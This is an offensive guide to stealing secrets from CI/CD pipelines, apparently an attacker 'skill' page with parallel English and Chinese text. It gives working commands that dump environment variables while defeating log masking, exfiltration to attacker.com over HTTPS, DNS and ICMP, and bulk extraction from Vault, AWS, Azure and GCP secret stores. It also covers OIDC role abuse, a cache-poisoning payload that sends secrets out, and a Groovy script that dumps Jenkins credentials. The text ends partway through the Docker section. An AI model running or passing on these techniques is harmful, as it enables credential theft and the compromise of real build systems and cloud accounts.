offensive-cicd-secrets

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Offensive CI/CD Secrets Extraction

攻击性 CI/CD 密钥提取

Secrets in CI/CD environments are the primary objective for pipeline compromise. Every pipeline holds credentials -- deployment keys, cloud provider tokens, API secrets, registry passwords, database connection strings -- and the mechanisms protecting them are consistently weaker than those guarding production secrets. You exploit the fundamental tension in CI/CD design: pipelines need credentials to deploy, but the environments executing pipelines are transient, shared, and often accessible to anyone who can open a pull request.
This skill systematically covers every extraction path across CI/CD platforms, from trivial environment variable dumps to sophisticated OIDC federation abuse. You enumerate what secrets exist, determine which extraction technique applies, recover the credentials, and pivot to expand your access.
MITRE ATT&CK: T1552 (Unsecured Credentials), T1552.001 (Credentials In Files), T1552.004 (Private Keys), T1552.007 (Container API)
CI/CD 环境中的密钥是攻破 Pipeline 的首要目标。每条 Pipeline 都保存着凭据——部署密钥、云提供商 Token、API Secret、Registry 密码、数据库连接字符串——而保护这些凭据的机制始终弱于保护生产环境密钥的机制。你可以利用 CI/CD 设计中的根本矛盾:Pipeline 需要凭据才能执行部署,但执行 Pipeline 的环境是临时的、共享的,而且通常任何能够打开 Pull Request 的人都可以访问。
本 Skill 系统性地涵盖了各 CI/CD 平台的每一种提取路径,从简单的环境变量转储到复杂的 OIDC 联合滥用。你先枚举存在哪些密钥,再确定适用的提取技术,恢复凭据,并据此扩展访问权限。
MITRE ATT&CK: T1552 (Unsecured Credentials), T1552.001 (Credentials In Files), T1552.004 (Private Keys), T1552.007 (Container API)

Quick Workflow

快速工作流

  1. Gain code execution in a CI/CD pipeline (see offensive-cicd-pipeline skill for injection vectors).
  2. Enumerate the execution environment -- platform, runner type, available tools, network access.
  3. Dump all environment variables and filter for secrets patterns.
  4. Query platform-specific credential stores using available tokens (GITHUB_TOKEN, CI_JOB_TOKEN, PAT).
  5. Check for vault/secrets-manager integrations and test for misconfigurations.
  6. Examine build logs, caches, and artifacts for leaked credentials.
  7. Test OIDC federation trust if cloud provider integration is present.
  8. Validate recovered credentials and determine their scope.
  9. Pivot using recovered secrets to access additional systems, registries, and cloud resources.

  1. 在 CI/CD Pipeline 中获得代码执行能力(有关注入向量,请参阅 offensive-cicd-pipeline skill)。
  2. 枚举执行环境——平台、Runner 类型、可用工具和网络访问权限。
  3. 转储所有环境变量,并筛选符合密钥特征的模式。
  4. 使用可用 Token(GITHUB_TOKEN、CI_JOB_TOKEN、PAT)查询特定平台的凭据存储。
  5. 检查 Vault/Secrets Manager 集成并测试配置错误。
  6. 检查构建日志、缓存和 Artifact 中泄露的凭据。
  7. 如果存在云提供商集成,测试 OIDC 联合信任。
  8. 验证已恢复的凭据并确定其权限范围。
  9. 使用已恢复的密钥横向访问其他系统、Registry 和云资源。

Environment Variable Extraction

环境变量提取

Every CI/CD platform injects secrets as environment variables. Your first action in any compromised pipeline is a comprehensive environment dump. Platforms attempt to mask secret values in logs, but the masking is trivially bypassed.
每个 CI/CD 平台都会将密钥作为环境变量注入。攻破 Pipeline 后的首要动作,是全面转储环境变量。各平台会尝试在日志中遮蔽密钥值,但这种遮蔽很容易绕过。

Direct Extraction

直接提取

bash
undefined
bash
undefined

Full environment dump -- works on all platforms

Full environment dump -- works on all platforms

env | sort
env | sort

Base64 encode to bypass log masking

Base64 encode to bypass log masking

env | base64
env | base64

Reverse the string to defeat pattern-matching masks

Reverse the string to defeat pattern-matching masks

env | rev
env | rev

Character-by-character extraction defeats even advanced masking

Character-by-character extraction defeats even advanced masking

for var in $(env | grep -i -E 'key|secret|token|pass|cred|auth' | cut -d= -f1); do value=$(printenv "$var") echo -n "$var=" echo "$value" | fold -w1 | paste -sd' ' done
for var in $(env | grep -i -E 'key|secret|token|pass|cred|auth' | cut -d= -f1); do value=$(printenv "$var") echo -n "$var=" echo "$value" | fold -w1 | paste -sd' ' done

Hex encoding for binary-safe exfiltration

Hex encoding for binary-safe exfiltration

env | xxd -p | tr -d '\n'
undefined
env | xxd -p | tr -d '\n'
undefined

Targeted Pattern Matching

针对性模式匹配

bash
undefined
bash
undefined

Extract high-value variables by naming convention

Extract high-value variables by naming convention

env | grep -iE '^(AWS_|AZURE_|GCP_|GOOGLE_|GITHUB_|GITLAB_|DOCKER_|NPM_|ARTIFACTORY_|VAULT_|DATABASE_|DB_|REDIS_|MONGO_|POSTGRES_|MYSQL_|SSH_|PRIVATE_|API_KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|AUTH)' | sort
env | grep -iE '^(AWS_|AZURE_|GCP_|GOOGLE_|GITHUB_|GITLAB_|DOCKER_|NPM_|ARTIFACTORY_|VAULT_|DATABASE_|DB_|REDIS_|MONGO_|POSTGRES_|MYSQL_|SSH_|PRIVATE_|API_KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|AUTH)' | sort

Search for variables containing credential-shaped values

Search for variables containing credential-shaped values

env | grep -E '=[A-Za-z0-9+/]{20,}={0,2}$' # Base64-encoded values env | grep -E '=ghp_[A-Za-z0-9]{36}' # GitHub personal access tokens env | grep -E '=ghs_[A-Za-z0-9]{36}' # GitHub installation tokens env | grep -E '=glpat-[A-Za-z0-9-]{20}' # GitLab personal access tokens env | grep -E '=AKIA[A-Z0-9]{16}' # AWS access key IDs env | grep -E '=sk-[A-Za-z0-9]{20,}' # Stripe/OpenAI-style keys
env | grep -E '=[A-Za-z0-9+/]{20,}={0,2}$' # Base64-encoded values env | grep -E '=ghp_[A-Za-z0-9]{36}' # GitHub personal access tokens env | grep -E '=ghs_[A-Za-z0-9]{36}' # GitHub installation tokens env | grep -E '=glpat-[A-Za-z0-9-]{20}' # GitLab personal access tokens env | grep -E '=AKIA[A-Z0-9]{16}' # AWS access key IDs env | grep -E '=sk-[A-Za-z0-9]{20,}' # Stripe/OpenAI-style keys

Find secrets in process memory (if /proc is available)

Find secrets in process memory (if /proc is available)

strings /proc/self/environ 2>/dev/null strings /proc/*/environ 2>/dev/null | sort -u | grep -iE 'secret|token|key|pass'
undefined
strings /proc/self/environ 2>/dev/null strings /proc/*/environ 2>/dev/null | sort -u | grep -iE 'secret|token|key|pass'
undefined

Exfiltration Channels

外泄通道

bash
undefined
bash
undefined

HTTPS POST exfiltration (most reliable)

HTTPS POST exfiltration (most reliable)

env | base64 | curl -sS -X POST -d @- https://attacker.com/collect
env | base64 | curl -sS -X POST -d @- https://attacker.com/collect

DNS exfiltration for restricted networks

DNS exfiltration for restricted networks

for secret in $(env | grep -i SECRET | base64 | fold -w 60); do nslookup "${secret}.exfil.attacker.com" 2>/dev/null done
for secret in $(env | grep -i SECRET | base64 | fold -w 60); do nslookup "${secret}.exfil.attacker.com" 2>/dev/null done

ICMP exfiltration when HTTP is blocked

ICMP exfiltration when HTTP is blocked

env | xxd -p | fold -w 32 | while read chunk; do ping -c 1 -p "$chunk" attacker.com 2>/dev/null done
env | xxd -p | fold -w 32 | while read chunk; do ping -c 1 -p "$chunk" attacker.com 2>/dev/null done

Write to pipeline artifact for later retrieval

Write to pipeline artifact for later retrieval

env | base64 > /tmp/build-metrics.dat
env | base64 > /tmp/build-metrics.dat

Then upload as artifact through the platform's mechanism

Then upload as artifact through the platform's mechanism


---

---

Vault and Secrets Manager Misconfigurations

Vault 与 Secrets Manager 配置错误

CI/CD pipelines frequently integrate with secrets managers. You exploit misconfigurations in how pipelines authenticate to and retrieve secrets from these systems.
CI/CD Pipeline 通常会与 Secrets Manager 集成。你可以利用 Pipeline 在身份验证和检索这些系统中的密钥时存在的配置错误。

HashiCorp Vault

HashiCorp Vault

bash
undefined
bash
undefined

Check if Vault environment is configured

Check if Vault environment is configured

echo "VAULT_ADDR: $VAULT_ADDR" echo "VAULT_TOKEN: $VAULT_TOKEN" echo "VAULT_ROLE_ID: $VAULT_ROLE_ID" echo "VAULT_SECRET_ID: $VAULT_SECRET_ID"
echo "VAULT_ADDR: $VAULT_ADDR" echo "VAULT_TOKEN: $VAULT_TOKEN" echo "VAULT_ROLE_ID: $VAULT_ROLE_ID" echo "VAULT_SECRET_ID: $VAULT_SECRET_ID"

If VAULT_TOKEN is present, enumerate accessible secrets

If VAULT_TOKEN is present, enumerate accessible secrets

vault secrets list 2>/dev/null ||
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/sys/mounts" | jq '.data | keys'
vault secrets list 2>/dev/null ||
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/sys/mounts" | jq '.data | keys'

List and read KV secrets

List and read KV secrets

vault kv list secret/ 2>/dev/null ||
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/secret/metadata?list=true" | jq '.'
vault kv list secret/ 2>/dev/null ||
curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/secret/metadata?list=true" | jq '.'

Attempt to read common secret paths

Attempt to read common secret paths

for path in secret/data/production secret/data/deploy secret/data/database secret/data/aws; do echo "--- $path ---" curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/$path" 2>/dev/null | jq '.data' done
for path in secret/data/production secret/data/deploy secret/data/database secret/data/aws; do echo "--- $path ---" curl -sS -H "X-Vault-Token: $VAULT_TOKEN" "$VAULT_ADDR/v1/$path" 2>/dev/null | jq '.data' done

If AppRole credentials are available, authenticate

If AppRole credentials are available, authenticate

curl -sS -X POST "$VAULT_ADDR/v1/auth/approle/login"
-d "{"role_id": "$VAULT_ROLE_ID", "secret_id": "$VAULT_SECRET_ID"}" | jq '.'
curl -sS -X POST "$VAULT_ADDR/v1/auth/approle/login"
-d "{"role_id": "$VAULT_ROLE_ID", "secret_id": "$VAULT_SECRET_ID"}" | jq '.'

Check token capabilities -- often over-permissioned for CI

Check token capabilities -- often over-permissioned for CI

curl -sS -X POST -H "X-Vault-Token: $VAULT_TOKEN"
"$VAULT_ADDR/v1/sys/capabilities-self"
-d '{"paths": ["secret/", "aws/", "database/", "ssh/"]}' | jq '.'
undefined
curl -sS -X POST -H "X-Vault-Token: $VAULT_TOKEN"
"$VAULT_ADDR/v1/sys/capabilities-self"
-d '{"paths": ["secret/", "aws/", "database/", "ssh/"]}' | jq '.'
undefined

AWS Secrets Manager and Parameter Store

AWS Secrets Manager 与 Parameter Store

bash
undefined
bash
undefined

Check for AWS credentials in the environment

Check for AWS credentials in the environment

echo "AWS_ACCESS_KEY_ID: $AWS_ACCESS_KEY_ID" echo "AWS_SECRET_ACCESS_KEY: ${AWS_SECRET_ACCESS_KEY:0:8}..." echo "AWS_SESSION_TOKEN present: $([ -n "$AWS_SESSION_TOKEN" ] && echo yes || echo no)"
echo "AWS_ACCESS_KEY_ID: $AWS_ACCESS_KEY_ID" echo "AWS_SECRET_ACCESS_KEY: ${AWS_SECRET_ACCESS_KEY:0:8}..." echo "AWS_SESSION_TOKEN present: $([ -n "$AWS_SESSION_TOKEN" ] && echo yes || echo no)"

Check if running on EC2 with instance metadata

Check if running on EC2 with instance metadata

List all secrets in Secrets Manager

List all secrets in Secrets Manager

aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}' --output table
aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}' --output table

Extract secret values

Extract secret values

aws secretsmanager list-secrets --query 'SecretList[].Name' --output text | tr '\t' '\n' |
while read name; do echo "=== $name ===" aws secretsmanager get-secret-value --secret-id "$name" --query 'SecretString' --output text 2>/dev/null done
aws secretsmanager list-secrets --query 'SecretList[].Name' --output text | tr '\t' '\n' |
while read name; do echo "=== $name ===" aws secretsmanager get-secret-value --secret-id "$name" --query 'SecretString' --output text 2>/dev/null done

SSM Parameter Store -- often contains credentials with weak IAM boundaries

SSM Parameter Store -- often contains credentials with weak IAM boundaries

aws ssm describe-parameters --query 'Parameters[].{Name:Name,Type:Type}' --output table aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
--query 'Parameters[].{Name:Name,Value:Value}' --output table 2>/dev/null
undefined
aws ssm describe-parameters --query 'Parameters[].{Name:Name,Type:Type}' --output table aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
--query 'Parameters[].{Name:Name,Value:Value}' --output table 2>/dev/null
undefined

Azure Key Vault

Azure Key Vault

bash
undefined
bash
undefined

Check for Azure managed identity

Check for Azure managed identity

List Key Vaults accessible to the current identity

List Key Vaults accessible to the current identity

az keyvault list --query '[].{name:name, uri:properties.vaultUri}' --output table
az keyvault list --query '[].{name:name, uri:properties.vaultUri}' --output table

Extract all secrets from a vault

Extract all secrets from a vault

VAULT_NAME="target-vault" az keyvault secret list --vault-name "$VAULT_NAME" --query '[].{name:name, id:id}' --output table az keyvault secret list --vault-name "$VAULT_NAME" --query '[].name' --output tsv |
while read name; do echo "=== $name ===" az keyvault secret show --vault-name "$VAULT_NAME" --name "$name" --query 'value' --output tsv done
VAULT_NAME="target-vault" az keyvault secret list --vault-name "$VAULT_NAME" --query '[].{name:name, id:id}' --output table az keyvault secret list --vault-name "$VAULT_NAME" --query '[].name' --output tsv |
while read name; do echo "=== $name ===" az keyvault secret show --vault-name "$VAULT_NAME" --name "$name" --query 'value' --output tsv done

Extract certificates and keys

Extract certificates and keys

az keyvault certificate list --vault-name "$VAULT_NAME" --output table az keyvault key list --vault-name "$VAULT_NAME" --output table
undefined
az keyvault certificate list --vault-name "$VAULT_NAME" --output table az keyvault key list --vault-name "$VAULT_NAME" --output table
undefined

GCP Secret Manager

GCP Secret Manager

bash
undefined
bash
undefined

Check for GCP credentials

Check for GCP credentials

echo "GOOGLE_APPLICATION_CREDENTIALS: $GOOGLE_APPLICATION_CREDENTIALS" cat "$GOOGLE_APPLICATION_CREDENTIALS" 2>/dev/null | jq '.client_email, .project_id'
echo "GOOGLE_APPLICATION_CREDENTIALS: $GOOGLE_APPLICATION_CREDENTIALS" cat "$GOOGLE_APPLICATION_CREDENTIALS" 2>/dev/null | jq '.client_email, .project_id'

Use metadata server for default credentials

Use metadata server for default credentials

List all secrets in the project

List all secrets in the project

gcloud secrets list --format='table(name, replication.automatic)'
gcloud secrets list --format='table(name, replication.automatic)'

Extract secret values

Extract secret values

gcloud secrets list --format='value(name)' | while read name; do echo "=== $name ===" gcloud secrets versions access latest --secret="$name" 2>/dev/null done

---
gcloud secrets list --format='value(name)' | while read name; do echo "=== $name ===" gcloud secrets versions access latest --secret="$name" 2>/dev/null done

---

OIDC Federation Attacks

OIDC 联合攻击

OIDC federation allows CI/CD pipelines to authenticate to cloud providers without storing long-lived credentials. You exploit trust misconfigurations in the federation setup to assume roles from unauthorized contexts.
OIDC 联合允许 CI/CD Pipeline 在不存储长期凭据的情况下向云提供商进行身份验证。你可以利用联合配置中的信任错误,从未授权上下文承担角色。

GitHub Actions OIDC

GitHub Actions OIDC

yaml
undefined
yaml
undefined

GitHub Actions requests an OIDC token from the GitHub token endpoint

GitHub Actions requests an OIDC token from the GitHub token endpoint

The token contains claims about the workflow context

The token contains claims about the workflow context

steps:
  • name: Extract OIDC token and examine claims run: |

    Request the OIDC token

    OIDC_TOKEN=$(curl -sS -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN"
    "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r '.value')

    Decode and examine the claims (header.payload.signature)

    echo "$OIDC_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'

    The claims include:

    sub: repo:org/repo:ref:refs/heads/main

    repository: org/repo

    ref: refs/heads/main

    If the AWS role trust policy is overly permissive (e.g., trusts any ref

    or any repo in the org), you can assume it from a fork or feature branch


Attack scenario -- overly broad trust policy:

```json
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringLike": {
        "token.actions.githubusercontent.com:sub": "repo:target-org/*"
      }
    }
  }]
}
bash
undefined
steps:
  • name: Extract OIDC token and examine claims run: |

    Request the OIDC token

    OIDC_TOKEN=$(curl -sS -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN"
    "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r '.value')

    Decode and examine the claims (header.payload.signature)

    echo "$OIDC_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'

    The claims include:

    sub: repo:org/repo:ref:refs/heads/main

    repository: org/repo

    ref: refs/heads/main

    If the AWS role trust policy is overly permissive (e.g., trusts any ref

    or any repo in the org), you can assume it from a fork or feature branch


攻击场景——过于宽泛的信任策略:

```json
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"},
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringLike": {
        "token.actions.githubusercontent.com:sub": "repo:target-org/*"
      }
    }
  }]
}
bash
undefined

This trust policy accepts ANY repository in the org

This trust policy accepts ANY repository in the org

If you can create a repo in the org or find any repo with Actions write access,

If you can create a repo in the org or find any repo with Actions write access,

you can assume this role

you can assume this role

From your controlled workflow in any org repo:

From your controlled workflow in any org repo:

aws sts assume-role-with-web-identity
--role-arn "arn:aws:iam::ACCOUNT:role/deploy-role"
--role-session-name "exploit"
--web-identity-token "$OIDC_TOKEN"
undefined
aws sts assume-role-with-web-identity
--role-arn "arn:aws:iam::ACCOUNT:role/deploy-role"
--role-session-name "exploit"
--web-identity-token "$OIDC_TOKEN"
undefined

GitLab CI OIDC

GitLab CI OIDC

yaml
undefined
yaml
undefined

GitLab CI can also issue OIDC tokens

GitLab CI can also issue OIDC tokens

extract_oidc: script: - | # GitLab injects CI_JOB_JWT and CI_JOB_JWT_V2 echo "$CI_JOB_JWT_V2" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'
  # Claims include namespace_path, project_path, ref, ref_protected
  # Misconfigured trust policies may not validate ref_protected or project_path

  # Assume AWS role using GitLab OIDC token
  aws sts assume-role-with-web-identity \
    --role-arn "arn:aws:iam::ACCOUNT:role/gitlab-deploy" \
    --role-session-name "gitlab-exploit" \
    --web-identity-token "$CI_JOB_JWT_V2"
id_tokens: CUSTOM_TOKEN: aud: https://aws.amazon.com

---
extract_oidc: script: - | # GitLab injects CI_JOB_JWT and CI_JOB_JWT_V2 echo "$CI_JOB_JWT_V2" | cut -d. -f2 | base64 -d 2>/dev/null | jq '.'
  # Claims include namespace_path, project_path, ref, ref_protected
  # Misconfigured trust policies may not validate ref_protected or project_path

  # Assume AWS role using GitLab OIDC token
  aws sts assume-role-with-web-identity \
    --role-arn "arn:aws:iam::ACCOUNT:role/gitlab-deploy" \
    --role-session-name "gitlab-exploit" \
    --web-identity-token "$CI_JOB_JWT_V2"
id_tokens: CUSTOM_TOKEN: aud: https://aws.amazon.com

---

Build Log and Cache Exploitation

构建日志与缓存利用

Build logs and caches frequently contain credentials leaked through careless scripting, verbose output modes, or debug configurations.
构建日志和缓存经常包含由粗心脚本、详细输出模式或调试配置导致的凭据泄露。

Log Analysis

日志分析

bash
undefined
bash
undefined

GitHub Actions: Retrieve workflow run logs via API

GitHub Actions: Retrieve workflow run logs via API

Requires a token with actions:read scope

Requires a token with actions:read scope

curl -sS -H "Authorization: token $GITHUB_TOKEN"
-H "Accept: application/vnd.github+json"
"https://api.github.com/repos/OWNER/REPO/actions/runs" |
jq '.workflow_runs[:10] | .[].id' | while read run_id; do curl -sS -L -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/repos/OWNER/REPO/actions/runs/$run_id/logs"
-o "run_${run_id}.zip" unzip -o "run_${run_id}.zip" -d "logs_${run_id}" 2>/dev/null done
curl -sS -H "Authorization: token $GITHUB_TOKEN"
-H "Accept: application/vnd.github+json"
"https://api.github.com/repos/OWNER/REPO/actions/runs" |
jq '.workflow_runs[:10] | .[].id' | while read run_id; do curl -sS -L -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/repos/OWNER/REPO/actions/runs/$run_id/logs"
-o "run_${run_id}.zip" unzip -o "run_${run_id}.zip" -d "logs_${run_id}" 2>/dev/null done

Search extracted logs for leaked secrets

Search extracted logs for leaked secrets

grep -rihE '(password|secret|token|key|credential)[\s][=:][\s]\S+' logs_/ 2>/dev/null grep -rihE '(AKIA[A-Z0-9]{16}|ghp_[A-Za-z0-9]{36}|sk-[A-Za-z0-9]{20,})' logs_/ 2>/dev/null grep -rihE 'eyJ[A-Za-z0-9_-]+.eyJ[A-Za-z0-9_-]+' logs_*/ 2>/dev/null # JWT tokens
grep -rihE '(password|secret|token|key|credential)[\s][=:][\s]\S+' logs_/ 2>/dev/null grep -rihE '(AKIA[A-Z0-9]{16}|ghp_[A-Za-z0-9]{36}|sk-[A-Za-z0-9]{20,})' logs_/ 2>/dev/null grep -rihE 'eyJ[A-Za-z0-9_-]+.eyJ[A-Za-z0-9_-]+' logs_*/ 2>/dev/null # JWT tokens

Jenkins: Build console output often contains unmasked secrets

Jenkins: Build console output often contains unmasked secrets

curl -sS -u "user:$JENKINS_TOKEN"
"https://jenkins.target.com/job/JOB_NAME/lastBuild/consoleText" |
grep -iE 'password|secret|token|key'
undefined
curl -sS -u "user:$JENKINS_TOKEN"
"https://jenkins.target.com/job/JOB_NAME/lastBuild/consoleText" |
grep -iE 'password|secret|token|key'
undefined

Cache Poisoning for Exfiltration

用于外泄的缓存投毒

yaml
undefined
yaml
undefined

GitHub Actions: Poison the build cache to exfiltrate secrets on next run

GitHub Actions: Poison the build cache to exfiltrate secrets on next run

First run: inject exfiltration script into cached dependencies

First run: inject exfiltration script into cached dependencies

steps:
  • uses: actions/cache@v4 with: path: ~/.npm key: npm-cache-${{ hashFiles('package-lock.json') }}
  • run: |

    Inject into a cached module that executes during install

    mkdir -p ~/.npm/_preinstall cat > ~/.npm/_preinstall/exfil.sh << 'PAYLOAD' #!/bin/bash env | base64 | curl -sS -X POST -d @- https://attacker.com/cache-exfil & PAYLOAD chmod +x ~/.npm/_preinstall/exfil.sh

    Modify a cached package's install script to trigger it


GitLab CI shared caches work similarly -- inject a payload into `node_modules/` with `cache: policy: push`, and the deploy job pulling the same cache key executes it.

---
steps:
  • uses: actions/cache@v4 with: path: ~/.npm key: npm-cache-${{ hashFiles('package-lock.json') }}
  • run: |

    Inject into a cached module that executes during install

    mkdir -p ~/.npm/_preinstall cat > ~/.npm/_preinstall/exfil.sh << 'PAYLOAD' #!/bin/bash env | base64 | curl -sS -X POST -d @- https://attacker.com/cache-exfil & PAYLOAD chmod +x ~/.npm/_preinstall/exfil.sh

    Modify a cached package's install script to trigger it


GitLab CI 共享缓存的工作方式与之类似——使用 `cache: policy: push` 将 Payload 注入 `node_modules/`,随后拉取同一 cache key 的部署 Job 就会执行它。

---

Platform-Specific Credential Stores

平台特定的凭据存储

Each CI/CD platform has its own credential storage mechanism with distinct extraction techniques.
每个 CI/CD 平台都有自己独特的凭据存储机制,并对应不同的提取技术。

GitHub Actions Secrets

GitHub Actions Secrets

bash
undefined
bash
undefined

GitHub Actions secrets are injected as environment variables

GitHub Actions secrets are injected as environment variables

They are masked in logs but accessible programmatically

They are masked in logs but accessible programmatically

List all secrets available to the workflow (names only, via API)

List all secrets available to the workflow (names only, via API)

curl -sS -H "Authorization: token $GITHUB_TOKEN"
-H "Accept: application/vnd.github+json"
"https://api.github.com/repos/$GITHUB_REPOSITORY/actions/secrets" | jq '.secrets[].name'
curl -sS -H "Authorization: token $GITHUB_TOKEN"
-H "Accept: application/vnd.github+json"
"https://api.github.com/repos/$GITHUB_REPOSITORY/actions/secrets" | jq '.secrets[].name'

Organization-level secrets

Organization-level secrets

curl -sS -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/orgs/$ORG/actions/secrets" | jq '.secrets[].name'
curl -sS -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/orgs/$ORG/actions/secrets" | jq '.secrets[].name'

Repository environment secrets

Repository environment secrets

curl -sS -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments" |
jq '.environments[].name' | while read env_name; do echo "=== Environment: $env_name ===" curl -sS -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments/${env_name}/secrets" | jq '.' done
curl -sS -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments" |
jq '.environments[].name' | while read env_name; do echo "=== Environment: $env_name ===" curl -sS -H "Authorization: token $GITHUB_TOKEN"
"https://api.github.com/repos/$GITHUB_REPOSITORY/environments/${env_name}/secrets" | jq '.' done

Values require code execution in the pipeline context -- use env dump techniques above

Values require code execution in the pipeline context -- use env dump techniques above

undefined
undefined

Jenkins Credential Store

Jenkins Credential Store

groovy
// Groovy script to extract all Jenkins credentials
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.Credentials
import com.cloudbees.plugins.credentials.domains.Domain
import jenkins.model.Jenkins

def store = Jenkins.instance.getExtensionList(
    'com.cloudbees.plugins.credentials.SystemCredentialsProvider'
)[0].getStore()

store.getDomains().each { domain ->
    store.getCredentials(domain).each { cred ->
        println "=== ${cred.id} (${cred.class.simpleName}) ==="
        if (cred.respondsTo('getUsername')) println "Username: ${cred.username}"
        if (cred.respondsTo('getPassword')) println "Password: ${cred.password}"
        if (cred.respondsTo('getSecret')) println "Secret: ${cred.secret}"
        if (cred.respondsTo('getPrivateKey')) println "Private Key: ${cred.privateKey}"
        if (cred.respondsTo('getToken')) println "Token: ${cred.token}"
        println "---"
    }
}
For offline decryption of
credentials.xml
, you need
secrets/master.key
and
secrets/hudson.util.Secret
from the Jenkins home directory. Hash the master key with SHA-256, use the first 16 bytes to AES-ECB-decrypt the hudson secret, then use that as the AES-128-CBC key (IV is bytes 1-17 of the encrypted blob) to decrypt individual credential entries.
groovy
// Groovy script to extract all Jenkins credentials
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.Credentials
import com.cloudbees.plugins.credentials.domains.Domain
import jenkins.model.Jenkins

def store = Jenkins.instance.getExtensionList(
    'com.cloudbees.plugins.credentials.SystemCredentialsProvider'
)[0].getStore()

store.getDomains().each { domain ->
    store.getCredentials(domain).each { cred ->
        println "=== ${cred.id} (${cred.class.simpleName}) ==="
        if (cred.respondsTo('getUsername')) println "Username: ${cred.username}"
        if (cred.respondsTo('getPassword')) println "Password: ${cred.password}"
        if (cred.respondsTo('getSecret')) println "Secret: ${cred.secret}"
        if (cred.respondsTo('getPrivateKey')) println "Private Key: ${cred.privateKey}"
        if (cred.respondsTo('getToken')) println "Token: ${cred.token}"
        println "---"
    }
}
要离线解密
credentials.xml
,需要 Jenkins 主目录中的
secrets/master.key
和
secrets/hudson.util.Secret
。使用 SHA-256 散列 master key,取前 16 个字节,以 AES-ECB 解密 hudson secret,再将其用作 AES-128-CBC 密钥(IV 为加密 blob 的第 1 至 17 字节),以解密各条凭据记录。

GitLab CI Variables

GitLab CI Variables

bash
undefined
bash
undefined

Extract variables using CI_JOB_TOKEN (limited scope)

Extract variables using CI_JOB_TOKEN (limited scope)

curl -sS --header "JOB-TOKEN: $CI_JOB_TOKEN"
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | jq '.'
curl -sS --header "JOB-TOKEN: $CI_JOB_TOKEN"
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | jq '.'

With a personal access token or impersonation token (broader scope)

With a personal access token or impersonation token (broader scope)

curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" |
jq '.[] | {key, value, protected, masked, environment_scope}'
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" |
jq '.[] | {key, value, protected, masked, environment_scope}'

Group variables (inherited by all projects in the group)

Group variables (inherited by all projects in the group)

curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/groups/$GROUP_ID/variables" |
jq '.[] | {key, value, protected}'
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/groups/$GROUP_ID/variables" |
jq '.[] | {key, value, protected}'

Instance variables (requires admin access)

Instance variables (requires admin access)

curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'

File-type variables are written to disk -- find them

File-type variables are written to disk -- find them

find /builds -name ".env" -o -name ".key" -o -name ".pem" -o -name ".json" 2>/dev/null |
while read f; do echo "=== $f ==="; cat "$f"; done

---
find /builds -name ".env" -o -name ".key" -o -name ".pem" -o -name ".json" 2>/dev/null |
while read f; do echo "=== $f ==="; cat "$f"; done

---

Docker Registry Credential Theft

Docker Registry 凭据窃取

CI/CD pipelines that build and push container images store Docker registry credentials. You extract them from the runner filesystem, environment variables, or the Docker credential helper chain.
bash
undefined
构建和推送容器镜像的 CI/CD Pipeline 会保存 Docker Registry 凭据。你可以从 Runner 文件系统、环境变量或 Docker credential helper 链中提取它们。
bash
undefined

Check Docker configuration for stored credentials

Check Docker configuration for stored credentials

cat ~/.docker/config.json 2>/dev/null | jq '.'
cat ~/.docker/config.json 2>/dev/null | jq '.'

Look for credHelpers, credStore, and direct auths entries

Look for credHelpers, credStore, and direct auths entries

Extract from Docker credential helpers

Extract from Docker credential helpers

